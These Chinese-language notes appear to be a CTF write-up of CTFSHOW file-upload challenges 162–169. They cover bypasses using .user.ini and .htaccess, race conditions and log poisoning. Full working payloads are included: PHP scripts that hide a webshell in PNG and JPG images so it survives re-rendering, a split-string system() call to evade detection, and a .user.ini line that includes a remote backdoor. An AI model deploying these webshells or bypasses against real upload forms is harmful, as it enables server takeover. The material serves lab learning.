知识点
1、文件上传-二次渲染(重要)
2、文件上传-简单免杀变异
3、文件上传-.htaccess妙用
4、文件上传-PHP语言特性
详细点:
1、检测层面:前端、后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
上传地址: upload/png
没上传之前一直访问 upload post:代码(利用php创建一个文件 读取flag)
文件是否二次渲染的判断:
1、判断上传前后的文件大小及内容
2、判断上传后的文件返回数据包
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.usr.ini&htaccess
案例
CTFSHOW-文件上传-162到170关卡
Web162 知识点:过滤.,不能写带有后缀的文件
加了个GIF文件头’GIF89a‘就可以上传了,没加之前都不可以上传
经过测试,这里过滤了()[];
经测试,它还过滤了.这个字符,这会非常棘手
通过在线的转换工具,可以将ip转为数字,这样就可以把.消去
输入**<?=include’httpsxxx’?>**这样就成功上传了网站,并且这个网站带有后门代码,后门的密码是1
前置条件:先在本地随便搭建一个网站,这个网站要带有后门代码
然后就是重复上一节课的操作,.user.ini包含以下文件
payload:
Content-Disposition: form-data; name=”file”; filename=”.user.ini”
Content-Type: image/png
GIF89a
auto_prepend_file=png
修改方法
经过163的做法,我们发现上传文件让user.ini解析貌似不可行,所以这次我们直接把带有后门的网站上传到ini那里去,这样就可以直接解析,命令执行
具体payload:
Content-Disposition: from-data; name=”file”; filename=”.user.ini”
Content-Type: image/png
GIF89a
auto_prepend_file=http://xxxxx/
Web163 知识点:突破上传删除&利用user.ini包含远程&数字域名
转换ip网站:https://www.bejson.com/convert/ip2int/
这一题和上一关不同的地方,就是他会把你上传的文件给直接强制删除掉,所以这里需要用到条件竞争的方法,其他的地方貌似是没什么区别的
条件竞争:在上传成功,立马访问,创建型代码(代码被执行后重新新建一个文件)
删除文件可能的规则:
1、什么都删除 此情况只能用条件竞争
2、删除后门代码 此情况可以用修改后门代码让他检测不到
最终解决删除文件的办法:
把包含有后门代码的网站写到user.ini上去,这样文件就不会被删除了,这样就不需要另外上传文件了,直接访问upload就可以了
输入1=system(‘ls’);
输入 1=system(“ls ../“);
输入 1=system(“tac ../flag.php”) 得到flag,这题的环境是没问题的,但是上一关的环境不知道哪里卡bug了。
Web164 知识点:png二次渲染
上传的文件和本身的文件大小发生了变化,也就是进行了二次渲染。
二次渲染的目的:一些网站为了让上传的图片更加的美观,以及有些会固定尺寸,或是为了节约网站的空间,就会适当的删除增加代码,这会使得图片里本身存在的后门代码被删除或者修改而失效
如何进行手工绕过:二次渲染并不是把所有的代码都进行修改,他会和原来的部分有很多一模一样的部分,这个时候我们就需要将木马写到一样的部分中去,这样木马就不会因为渲染而失效了。但是这种操作方案能不能行,需要一定的运气,因为你修改了以后,他说不定就会把你修改的那一块也删掉了。
脚本生成绕过:直接用大佬写的脚本hhh
相关文章:blog.csdn.net/qq_40800734/article/details/105920149
EXP
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
//木马内容 <?$_GET[0]($_POST[1]);?>
//使用方法:直接运行即可
0这个get参数传递控制函数,1这个post参数传递具体执行命令,成功读到根目录下的文件
直接tac flag.php得到flag
补充:为什么这里明明是在图片文件里穿🐎,但是木马可以被解析呢?
因为它的上传地址发生了变化变成了download.php而不是前面几关的upload,它的整个环境就是php环境,所以是可以成功解析php后门的,所以这个地址就是在暗示你,你只要在图片里传🐎就可以解析了,而不需要上传php文件。
如果这个破绽没有给你,那你就还得配合user.ini来帮助你解析后门代码
如果user.ini也没用,那就直接gg跑路
Web165 知识点:jpg二次渲染
这里是php里面默认的一个库gd-jpeg v1.0会对jpg图片进行二次渲染,看这个标志就很清楚了。
EXP
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>"; //这一行是你要插入的后门代码,可以自行修改
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
虽然说是jpg图像,用脚本跑也可能失败,所以得多试几张图片,使用方法见上一关给的那个文章
发现上传的图片的后门代码被删掉了,所以手工的插入后门代码是大概率会失败的,还是得用脚本成功给的概率才高。
脚本运行方法:
①:将脚本放置在php.exe的同目录下
②:把你要插入后门的jpg图片也放到同目录下
③:在当前目录下运行cmd,输入php jpg.php 11.jpg (jpg是脚本名字,11是图片名字,这里仅是示例)
运行完之后会生成payload_11.jpg的字样,这就是已经添加后门代码的图片
能成功看到图片,八成就成功了,如果不行那就再多试几张别的图片,这需要一定的运气
成功getshell
Web166 知识点:文件名后缀
就把文件的后缀修改为zip,然后再植入后门代码就可以了
没有什么太多的知识点,就是换了个格式
Web167 知识点:htaccess解析
htaccess介绍
htaccess默认不支持nginx,设置后支持
htaccess可以通过设置实现文件解析配置
将.png后缀的文件解析成php
AddType application/x-httpd.php png
将 png后缀的文件解析成php
意义:可以通过htaccess来实现文件的解析配置
先上传一个1.jpg的后门代码
payload:
Content-Disposition: from-data; name=”file”; filename=”.htaccess“
Content-Type: image/jpeg
AddType application/x-httpd-php .jpg
让jpg文件以php的格式去解析
emm,貌似jpg格式不太好解析,那就换成png去解析,重新发个包就可以了
Web168 知识点:免杀后门&变量拆分绕过$a=’syste’.’m’
后门代码不能带eval,会被杀掉
payload: <?php $a=’syste’.’m’;$a(‘tac ../flag.php’);?>
把system拆分一下赋给一个变量即可
Web169 知识点:日志包含
payload:
Content-Disposition: form-data: name=”file”; filename=”.user.ini”
Content-Type: image/png
auto_prepend file=/var/log/nginx/access.log
UA头里加后门代码
就成功getshell了